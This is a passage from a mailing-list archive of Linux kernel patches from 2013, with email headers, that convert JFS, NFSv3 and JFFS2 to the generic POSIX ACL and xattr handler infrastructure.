ATTR_MODE) - rc = jfs_acl_chmod(inode); + rc = posix_acl_chmod(inode, inode->i_mode); return rc; } @@ -143,6 +144,7 @@ const struct inode_operations jfs_file_inode_operations = { .setattr = jfs_setattr, #ifdef CONFIG_JFS_POSIX_ACL .get_acl = jfs_get_acl, + .set_acl = jfs_set_acl, #endif }; diff --git a/fs/jfs/jfs_acl.h b/fs/jfs/jfs_acl.h index ad84fe5..489f993 100644 --- a/fs/jfs/jfs_acl.h +++ b/fs/jfs/jfs_acl.h @@ -21,8 +21,8 @@ #ifdef CONFIG_JFS_POSIX_ACL struct posix_acl *jfs_get_acl(struct inode *inode, int type); +int jfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); int jfs_init_acl(tid_t, struct inode *, struct inode *); -int jfs_acl_chmod(struct inode *inode); #else @@ -32,10 +32,5 @@ static inline int jfs_init_acl(tid_t tid, struct inode *inode, return 0; } -static inline int jfs_acl_chmod(struct inode *inode) -{ - return 0; -} - #endif #endif /* _H_JFS_ACL */ diff --git a/fs/jfs/jfs_xattr.h b/fs/jfs/jfs_xattr.h index e9e100f..e8d717d 100644 --- a/fs/jfs/jfs_xattr.h +++ b/fs/jfs/jfs_xattr.h @@ -61,6 +61,8 @@ extern ssize_t jfs_getxattr(struct dentry *, const char *, void *, size_t); extern ssize_t jfs_listxattr(struct dentry *, char *, size_t); extern int jfs_removexattr(struct dentry *, const char *); +extern const struct xattr_handler *jfs_xattr_handlers[]; + #ifdef CONFIG_JFS_SECURITY extern int jfs_init_security(tid_t, struct inode *, struct inode *, const struct qstr *); diff --git a/fs/jfs/namei.c b/fs/jfs/namei.c index aa8a337..d59c7de 100644 --- a/fs/jfs/namei.c +++ b/fs/jfs/namei.c @@ -1524,6 +1524,7 @@ const struct inode_operations jfs_dir_inode_operations = { .setattr = jfs_setattr, #ifdef CONFIG_JFS_POSIX_ACL .get_acl = jfs_get_acl, + .set_acl = jfs_set_acl, #endif }; diff --git a/fs/jfs/super.c b/fs/jfs/super.c index 6669aa2..e2b7483 100644 --- a/fs/jfs/super.c +++ b/fs/jfs/super.c @@ -44,6 +44,7 @@ #include "jfs_imap.h" #include "jfs_acl.h" #include "jfs_debug.h" +#include "jfs_xattr.h" MODULE_DESCRIPTION("The Journaled Filesystem (JFS)"); MODULE_AUTHOR("Steve Best/Dave Kleikamp/Barry Arndt, IBM"); @@ -522,6 +523,7 @@ static int jfs_fill_super(struct super_block *sb, void *data, int silent) */ sb->s_op = &jfs_super_operations; sb->s_export_op = &jfs_export_operations; + sb->s_xattr = jfs_xattr_handlers; #ifdef CONFIG_QUOTA sb->dq_op = &dquot_operations; sb->s_qcop = &dquot_quotactl_ops; diff --git a/fs/jfs/xattr.c b/fs/jfs/xattr.c index d3472f4..5324e4e 100644 --- a/fs/jfs/xattr.c +++ b/fs/jfs/xattr.c @@ -666,81 +666,12 @@ static int ea_put(tid_t tid, struct inode *inode, struct ea_buffer *ea_buf, } /* - * can_set_system_xattr - * - * This code is specific to the system.* namespace. It contains policy - * which doesn't belong in the main xattr codepath. - */ -static int can_set_system_xattr(struct inode *inode, const char *name, - const void *value, size_t value_len) -{ -#ifdef CONFIG_JFS_POSIX_ACL - struct posix_acl *acl; - int rc; - - if (!inode_owner_or_capable(inode)) - return -EPERM; - - /* - * POSIX_ACL_XATTR_ACCESS is tied to i_mode - */ - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) { - acl = posix_acl_from_xattr(&init_user_ns, value, value_len); - if (IS_ERR(acl)) { - rc = PTR_ERR(acl); - printk(KERN_ERR "posix_acl_from_xattr returned %d\n", - rc); - return rc; - } - if (acl) { - rc = posix_acl_equiv_mode(acl, &inode->i_mode); - posix_acl_release(acl); - if (rc < 0) { - printk(KERN_ERR - "posix_acl_equiv_mode returned %d\n", - rc); - return rc; - } - mark_inode_dirty(inode); - } - /* - * We're changing the ACL. Get rid of the cached one - */ - forget_cached_acl(inode, ACL_TYPE_ACCESS); - - return 0; - } else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) { - acl = posix_acl_from_xattr(&init_user_ns, value, value_len); - if (IS_ERR(acl)) { - rc = PTR_ERR(acl); - printk(KERN_ERR "posix_acl_from_xattr returned %d\n", - rc); - return rc; - } - posix_acl_release(acl); - - /* - * We're changing the default ACL. Get rid of the cached one - */ - forget_cached_acl(inode, ACL_TYPE_DEFAULT); - - return 0; - } -#endif /* CONFIG_JFS_POSIX_ACL */ - return -EOPNOTSUPP; -} - -/* * Most of the permission checking is done by xattr_permission in the vfs. - * The local file system is responsible for handling the system.* namespace. * We also need to verify that this is a namespace that we recognize. */ static int can_set_xattr(struct inode *inode, const char *name, const void *value, size_t value_len) { - if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) - return can_set_system_xattr(inode, name, value, value_len); - if (!strncmp(name, XATTR_OS2_PREFIX, XATTR_OS2_PREFIX_LEN)) { /* * This makes sure that we aren't trying to set an @@ -748,7 +679,7 @@ static int can_set_xattr(struct inode *inode, const char *name, * with "os2." */ if (is_known_namespace(name + XATTR_OS2_PREFIX_LEN)) - return -EOPNOTSUPP; + return -EOPNOTSUPP; return 0; } @@ -913,6 +844,14 @@ int jfs_setxattr(struct dentry *dentry, const char *name, const void *value, if ((rc = can_set_xattr(inode, name, value, value_len))) return rc; + /* + * If this is a request for a synthetic attribute in the system.* + * namespace use the generic infrastructure to resolve a handler + * for it via sb->s_xattr. + */ + if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return generic_setxattr(dentry, name, value, value_len, flags); + if (value == NULL) { /* empty EA, do not remove */ value = ""; value_len = 0; @@ -986,6 +925,14 @@ ssize_t jfs_getxattr(struct dentry *dentry, const char *name, void *data, { int err; + /* + * If this is a request for a synthetic attribute in the system.* + * namespace use the generic infrastructure to resolve a handler + * for it via sb->s_xattr. + */ + if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return generic_getxattr(dentry, name, data, buf_size); + if (strncmp(name, XATTR_OS2_PREFIX, XATTR_OS2_PREFIX_LEN) == 0) { /* * skip past "os2." prefix @@ -1077,6 +1024,14 @@ int jfs_removexattr(struct dentry *dentry, const char *name) if ((rc = can_set_xattr(inode, name, NULL, 0))) return rc; + /* + * If this is a request for a synthetic attribute in the system.* + * namespace use the generic infrastructure to resolve a handler + * for it via sb->s_xattr. + */ + if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return generic_removexattr(dentry, name); + tid = txBegin(inode->i_sb, 0); mutex_lock(&ji->commit_mutex); rc = __jfs_setxattr(tid, dentry->d_inode, name, NULL, 0, XATTR_REPLACE); @@ -1088,6 +1043,19 @@ int jfs_removexattr(struct dentry *dentry, const char *name) return rc; } +/* + * List of handlers for synthetic system.* attributes. All real ondisk + * attributes are handled directly. + */ +const struct xattr_handler *jfs_xattr_handlers[] = { +#ifdef JFS_POSIX_ACL + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, +#endif + NULL, +}; + + #ifdef CONFIG_JFS_SECURITY static int jfs_initxattrs(struct inode *inode, const struct xattr *xattr_array, void *fs_info) -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CA4ED29E05 for ; Wed, 11 Dec 2013 04:45:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 88EEC30406A for ; Wed, 11 Dec 2013 02:45:44 -0800 (PST) X-ASG-Debug-ID: 1386758743-04bdf013211aab10001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id ZhVsofKTJS0FuZpO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:43 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIH-0008RD-F8; Wed, 11 Dec 2013 10:45:29 +0000 Message-Id: <20131211104529.305937197@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:43:00 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 17/18] nfs: use generic posix ACL infrastructure for v3 Posix ACLs References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 17/18] nfs: use generic posix ACL infrastructure for v3 Posix ACLs Content-Disposition: inline; filename=0017-nfs-use-generic-posix-ACL-infrastructure-for-v3-Posi.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758743 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig --- fs/nfs/inode.c | 4 - fs/nfs/nfs3acl.c | 287 +++++++++--------------------------------------- fs/nfs/nfs3proc.c | 26 +++-- fs/nfs/nfs3super.c | 3 + include/linux/nfs_fs.h | 10 +- 5 files changed, 76 insertions(+), 254 deletions(-) diff --git a/fs/nfs/inode.c b/fs/nfs/inode.c index 00ad1c2..ecd11ba 100644 --- a/fs/nfs/inode.c +++ b/fs/nfs/inode.c @@ -1641,10 +1641,6 @@ struct inode *nfs_alloc_inode(struct super_block *sb) return NULL; nfsi->flags = 0UL; nfsi->cache_validity = 0UL; -#ifdef CONFIG_NFS_V3_ACL - nfsi->acl_access = ERR_PTR(-EAGAIN); - nfsi->acl_default = ERR_PTR(-EAGAIN); -#endif #if IS_ENABLED(CONFIG_NFS_V4) nfsi->nfs4_acl = NULL; #endif /* CONFIG_NFS_V4 */ diff --git a/fs/nfs/nfs3acl.c b/fs/nfs/nfs3acl.c index e859675..80bfb5b 100644 --- a/fs/nfs/nfs3acl.c +++ b/fs/nfs/nfs3acl.c @@ -10,179 +10,7 @@ #define NFSDBG_FACILITY NFSDBG_PROC -ssize_t nfs3_listxattr(struct dentry *dentry, char *buffer, size_t size) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl; - int pos=0, len=0; - -# define output(s) do { \ - if (pos + sizeof(s) <= size) { \ - memcpy(buffer + pos, s, sizeof(s)); \ - pos += sizeof(s); \ - } \ - len += sizeof(s); \ - } while(0) - - acl = nfs3_proc_getacl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - output("system.posix_acl_access"); - posix_acl_release(acl); - } - - if (S_ISDIR(inode->i_mode)) { - acl = nfs3_proc_getacl(inode, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - output("system.posix_acl_default"); - posix_acl_release(acl); - } - } - -# undef output - - if (!buffer || len <= size) - return len; - return -ERANGE; -} - -ssize_t nfs3_getxattr(struct dentry *dentry, const char *name, - void *buffer, size_t size) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl; - int type, error = 0; - - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) - type = ACL_TYPE_ACCESS; - else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) - type = ACL_TYPE_DEFAULT; - else - return -EOPNOTSUPP; - - acl = nfs3_proc_getacl(inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - if (type == ACL_TYPE_ACCESS && acl->a_count == 0) - error = -ENODATA; - else - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - } else - error = -ENODATA; - - return error; -} - -int nfs3_setxattr(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl; - int type, error; - - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) - type = ACL_TYPE_ACCESS; - else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) - type = ACL_TYPE_DEFAULT; - else - return -EOPNOTSUPP; - - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - error = nfs3_proc_setacl(inode, type, acl); - posix_acl_release(acl); - - return error; -} - -int nfs3_removexattr(struct dentry *dentry, const char *name) -{ - struct inode *inode = dentry->d_inode; - int type; - - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) - type = ACL_TYPE_ACCESS; - else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) - type = ACL_TYPE_DEFAULT; - else - return -EOPNOTSUPP; - - return nfs3_proc_setacl(inode, type, NULL); -} - -static void __nfs3_forget_cached_acls(struct nfs_inode *nfsi) -{ - if (!IS_ERR(nfsi->acl_access)) { - posix_acl_release(nfsi->acl_access); - nfsi->acl_access = ERR_PTR(-EAGAIN); - } - if (!IS_ERR(nfsi->acl_default)) { - posix_acl_release(nfsi->acl_default); - nfsi->acl_default = ERR_PTR(-EAGAIN); - } -} - -void nfs3_forget_cached_acls(struct inode *inode) -{ - dprintk("NFS: nfs3_forget_cached_acls(%s/%ld)\n", inode->i_sb->s_id, - inode->i_ino); - spin_lock(&inode->i_lock); - __nfs3_forget_cached_acls(NFS_I(inode)); - spin_unlock(&inode->i_lock); -} - -static struct posix_acl *nfs3_get_cached_acl(struct inode *inode, int type) -{ - struct nfs_inode *nfsi = NFS_I(inode); - struct posix_acl *acl = ERR_PTR(-EINVAL); - - spin_lock(&inode->i_lock); - switch(type) { - case ACL_TYPE_ACCESS: - acl = nfsi->acl_access; - break; - - case ACL_TYPE_DEFAULT: - acl = nfsi->acl_default; - break; - - default: - goto out; - } - if (IS_ERR(acl)) - acl = ERR_PTR(-EAGAIN); - else - acl = posix_acl_dup(acl); -out: - spin_unlock(&inode->i_lock); - dprintk("NFS: nfs3_get_cached_acl(%s/%ld, %d) = %p\n", inode->i_sb->s_id, - inode->i_ino, type, acl); - return acl; -} - -static void nfs3_cache_acls(struct inode *inode, struct posix_acl *acl, - struct posix_acl *dfacl) -{ - struct nfs_inode *nfsi = NFS_I(inode); - - dprintk("nfs3_cache_acls(%s/%ld, %p, %p)\n", inode->i_sb->s_id, - inode->i_ino, acl, dfacl); - spin_lock(&inode->i_lock); - __nfs3_forget_cached_acls(NFS_I(inode)); - if (!IS_ERR(acl)) - nfsi->acl_access = posix_acl_dup(acl); - if (!IS_ERR(dfacl)) - nfsi->acl_default = posix_acl_dup(dfacl); - spin_unlock(&inode->i_lock); -} - -struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type) +struct posix_acl *nfs3_get_acl(struct inode *inode, int type) { struct nfs_server *server = NFS_SERVER(inode); struct page *pages[NFSACL_MAXPAGES] = { }; @@ -198,7 +26,6 @@ struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type) .rpc_argp = &args, .rpc_resp = &res, }; - struct posix_acl *acl; int status, count; if (!nfs_server_capable(inode, NFS_CAP_ACLS)) @@ -207,10 +34,6 @@ struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type) status = nfs_revalidate_inode(server, inode); if (status < 0) return ERR_PTR(status); - acl = nfs3_get_cached_acl(inode, type); - if (acl != ERR_PTR(-EAGAIN)) - return acl; - acl = NULL; /* * Only get the access acl when explicitly requested: We don't @@ -257,36 +80,37 @@ struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type) } if (res.acl_access != NULL) { - if (posix_acl_equiv_mode(res.acl_access, NULL) == 0) { + if (posix_acl_equiv_mode(res.acl_access, NULL) || + res.acl_access->a_count == 0) { posix_acl_release(res.acl_access); res.acl_access = NULL; } } - nfs3_cache_acls(inode, - (res.mask & NFS_ACL) ? res.acl_access : ERR_PTR(-EINVAL), - (res.mask & NFS_DFACL) ? res.acl_default : ERR_PTR(-EINVAL)); - switch(type) { - case ACL_TYPE_ACCESS: - acl = res.acl_access; - res.acl_access = NULL; - break; + if (res.mask & NFS_ACL) + set_cached_acl(inode, ACL_TYPE_ACCESS, res.acl_access); + else + forget_cached_acl(inode, ACL_TYPE_ACCESS); - case ACL_TYPE_DEFAULT: - acl = res.acl_default; - res.acl_default = NULL; + if (res.mask & NFS_DFACL) + set_cached_acl(inode, ACL_TYPE_DEFAULT, res.acl_default); + else + forget_cached_acl(inode, ACL_TYPE_DEFAULT); + + nfs_free_fattr(res.fattr); + if (type == ACL_TYPE_ACCESS) { + posix_acl_release(res.acl_default); + return res.acl_access; + } else { + posix_acl_release(res.acl_access); + return res.acl_default; } getout: posix_acl_release(res.acl_access); posix_acl_release(res.acl_default); nfs_free_fattr(res.fattr); - - if (status != 0) { - posix_acl_release(acl); - acl = ERR_PTR(status); - } - return acl; + return ERR_PTR(status); } static int nfs3_proc_setacls(struct inode *inode, struct posix_acl *acl, @@ -353,7 +177,8 @@ static int nfs3_proc_setacls(struct inode *inode, struct posix_acl *acl, switch (status) { case 0: status = nfs_refresh_inode(inode, fattr); - nfs3_cache_acls(inode, acl, dfacl); + set_cached_acl(inode, ACL_TYPE_ACCESS, acl); + set_cached_acl(inode, ACL_TYPE_DEFAULT, dfacl); break; case -EPFNOSUPPORT: case -EPROTONOSUPPORT: @@ -373,33 +198,27 @@ out: return status; } -int nfs3_proc_setacl(struct inode *inode, int type, struct posix_acl *acl) +int nfs3_set_acl(struct inode *inode, struct posix_acl *acl, int type) { struct posix_acl *alloc = NULL, *dfacl = NULL; int status; if (S_ISDIR(inode->i_mode)) { switch(type) { - case ACL_TYPE_ACCESS: - alloc = dfacl = nfs3_proc_getacl(inode, - ACL_TYPE_DEFAULT); - if (IS_ERR(alloc)) - goto fail; - break; - - case ACL_TYPE_DEFAULT: - dfacl = acl; - alloc = acl = nfs3_proc_getacl(inode, - ACL_TYPE_ACCESS); - if (IS_ERR(alloc)) - goto fail; - break; - - default: - return -EINVAL; + case ACL_TYPE_ACCESS: + alloc = dfacl = nfs3_get_acl(inode, ACL_TYPE_DEFAULT); + if (IS_ERR(alloc)) + goto fail; + break; + + case ACL_TYPE_DEFAULT: + dfacl = acl; + alloc = acl = nfs3_get_acl(inode, ACL_TYPE_ACCESS); + if (IS_ERR(alloc)) + goto fail; + break; } - } else if (type != ACL_TYPE_ACCESS) - return -EINVAL; + } if (acl == NULL) { alloc = acl = posix_acl_from_mode(inode->i_mode, GFP_KERNEL); @@ -417,24 +236,24 @@ fail: int nfs3_proc_set_default_acl(struct inode *dir, struct inode *inode, umode_t mode) { - struct posix_acl *dfacl, *acl; - int error = 0; + struct posix_acl *default_acl, *acl; + int error; - dfacl = nfs3_proc_getacl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(dfacl)) { - error = PTR_ERR(dfacl); + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) return (error == -EOPNOTSUPP) ? 0 : error; - } - if (!dfacl) - return 0; - acl = posix_acl_dup(dfacl); - error = __posix_acl_create(&acl, GFP_KERNEL, &mode); - if (error < 0) - goto out_release_dfacl; - error = nfs3_proc_setacls(inode, acl, S_ISDIR(inode->i_mode) ? - dfacl : NULL); - posix_acl_release(acl); -out_release_dfacl: - posix_acl_release(dfacl); + + error = nfs3_proc_setacls(inode, acl, default_acl); + + if (acl) + posix_acl_release(acl); + if (default_acl) + posix_acl_release(default_acl); return error; } + +const struct xattr_handler *nfs3_xattr_handlers[] = { + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, + NULL, +}; diff --git a/fs/nfs/nfs3proc.c b/fs/nfs/nfs3proc.c index 01b6f6a..ab27a7d1 100644 --- a/fs/nfs/nfs3proc.c +++ b/fs/nfs/nfs3proc.c @@ -904,20 +904,28 @@ static const struct inode_operations nfs3_dir_inode_operations = { .permission = nfs_permission, .getattr = nfs_getattr, .setattr = nfs_setattr, - .listxattr = nfs3_listxattr, - .getxattr = nfs3_getxattr, - .setxattr = nfs3_setxattr, - .removexattr = nfs3_removexattr, + .listxattr = generic_listxattr, + .getxattr = generic_getxattr, + .setxattr = generic_setxattr, + .removexattr = generic_removexattr, +#ifdef CONFIG_NFS_V3_ACL + .get_acl = nfs3_get_acl, + .set_acl = nfs3_set_acl, +#endif }; static const struct inode_operations nfs3_file_inode_operations = { .permission = nfs_permission, .getattr = nfs_getattr, .setattr = nfs_setattr, - .listxattr = nfs3_listxattr, - .getxattr = nfs3_getxattr, - .setxattr = nfs3_setxattr, - .removexattr = nfs3_removexattr, + .listxattr = generic_listxattr, + .getxattr = generic_getxattr, + .setxattr = generic_setxattr, + .removexattr = generic_removexattr, +#ifdef CONFIG_NFS_V3_ACL + .get_acl = nfs3_get_acl, + .set_acl = nfs3_set_acl, +#endif }; const struct nfs_rpc_ops nfs_v3_clientops = { @@ -965,7 +973,7 @@ const struct nfs_rpc_ops nfs_v3_clientops = { .commit_rpc_prepare = nfs3_proc_commit_rpc_prepare, .commit_done = nfs3_commit_done, .lock = nfs3_proc_lock, - .clear_acl_cache = nfs3_forget_cached_acls, + .clear_acl_cache = forget_all_cached_acls, .close_context = nfs_close_context, .have_delegation = nfs3_have_delegation, .return_delegation = nfs3_return_delegation, diff --git a/fs/nfs/nfs3super.c b/fs/nfs/nfs3super.c index cc471c7..d6a9894 100644 --- a/fs/nfs/nfs3super.c +++ b/fs/nfs/nfs3super.c @@ -12,6 +12,9 @@ static struct nfs_subversion nfs_v3 = { .rpc_vers = &nfs_version3, .rpc_ops = &nfs_v3_clientops, .sops = &nfs_sops, +#ifdef CONFIG_NFS_V3_ACL + .xattr = nfs3_xattr_handlers, +#endif }; static int __init init_nfs_v3(void) diff --git a/include/linux/nfs_fs.h b/include/linux/nfs_fs.h index 4899737..176f1d2 100644 --- a/include/linux/nfs_fs.h +++ b/include/linux/nfs_fs.h @@ -154,10 +154,6 @@ struct nfs_inode { struct rb_root access_cache; struct list_head access_cache_entry_lru; struct list_head access_cache_inode_lru; -#ifdef CONFIG_NFS_V3_ACL - struct posix_acl *acl_access; - struct posix_acl *acl_default; -#endif /* * This is the cookie verifier used for NFSv3 readdir @@ -564,12 +560,12 @@ extern int nfs_readpage_async(struct nfs_open_context *, struct inode *, * linux/fs/nfs3proc.c */ #ifdef CONFIG_NFS_V3_ACL -extern struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type); -extern int nfs3_proc_setacl(struct inode *inode, int type, - struct posix_acl *acl); +extern struct posix_acl *nfs3_get_acl(struct inode *inode, int type); +extern int nfs3_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int nfs3_proc_set_default_acl(struct inode *dir, struct inode *inode, umode_t mode); extern void nfs3_forget_cached_acls(struct inode *inode); +extern const struct xattr_handler *nfs3_xattr_handlers[]; #else static inline int nfs3_proc_set_default_acl(struct inode *dir, struct inode *inode, -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1FEAA29E06 for ; Wed, 11 Dec 2013 04:45:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 94535AC00B for ; Wed, 11 Dec 2013 02:45:45 -0800 (PST) X-ASG-Debug-ID: 1386758744-04cb6c537c69d4f0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id owYn1DCPaHKHkxWh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:44 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIG-0008NU-DN; Wed, 11 Dec 2013 10:45:28 +0000 Message-Id: <20131211104528.300317604@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:54 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 11/18] jffs2: use generic posix ACL infrastructure References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 11/18] jffs2: use generic posix ACL infrastructure Content-Disposition: inline; filename=0011-jffs2-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386758744 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Also don't bother to set up a .get_acl method for symlinks as we do not support access control (ACLs or even mode bits) for symlinks in Linux. Signed-off-by: Christoph Hellwig --- fs/jffs2/acl.c | 141 ++++------------------------------------------------ fs/jffs2/acl.h | 7 +-- fs/jffs2/dir.c | 1 + fs/jffs2/file.c | 1 + fs/jffs2/fs.c | 7 +-- fs/jffs2/symlink.c | 1 - fs/jffs2/xattr.c | 9 ++-- 7 files changed, 24 insertions(+), 143 deletions(-) diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c index 4d6e31b..009ec0b 100644 --- a/fs/jffs2/acl.c +++ b/fs/jffs2/acl.c @@ -178,10 +178,6 @@ struct posix_acl *jffs2_get_acl(struct inode *inode, int type) char *value = NULL; int rc, xprefix; - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - switch (type) { case ACL_TYPE_ACCESS: xprefix = JFFS2_XPREFIX_ACL_ACCESS; @@ -232,13 +228,10 @@ static int __jffs2_set_acl(struct inode *inode, int xprefix, struct posix_acl *a return rc; } -static int jffs2_set_acl(struct inode *inode, int type, struct posix_acl *acl) +int jffs2_set_acl(struct inode *inode, struct posix_acl *acl, int type) { int rc, xprefix; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - switch (type) { case ACL_TYPE_ACCESS: xprefix = JFFS2_XPREFIX_ACL_ACCESS; @@ -277,30 +270,21 @@ static int jffs2_set_acl(struct inode *inode, int type, struct posix_acl *acl) int jffs2_init_acl_pre(struct inode *dir_i, struct inode *inode, umode_t *i_mode) { - struct posix_acl *acl; + struct posix_acl *default_acl, *acl; int rc; cache_no_acl(inode); - if (S_ISLNK(*i_mode)) - return 0; /* Symlink always has no-ACL */ - - acl = jffs2_get_acl(dir_i, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - - if (!acl) { - *i_mode &= ~current_umask(); - } else { - if (S_ISDIR(*i_mode)) - set_cached_acl(inode, 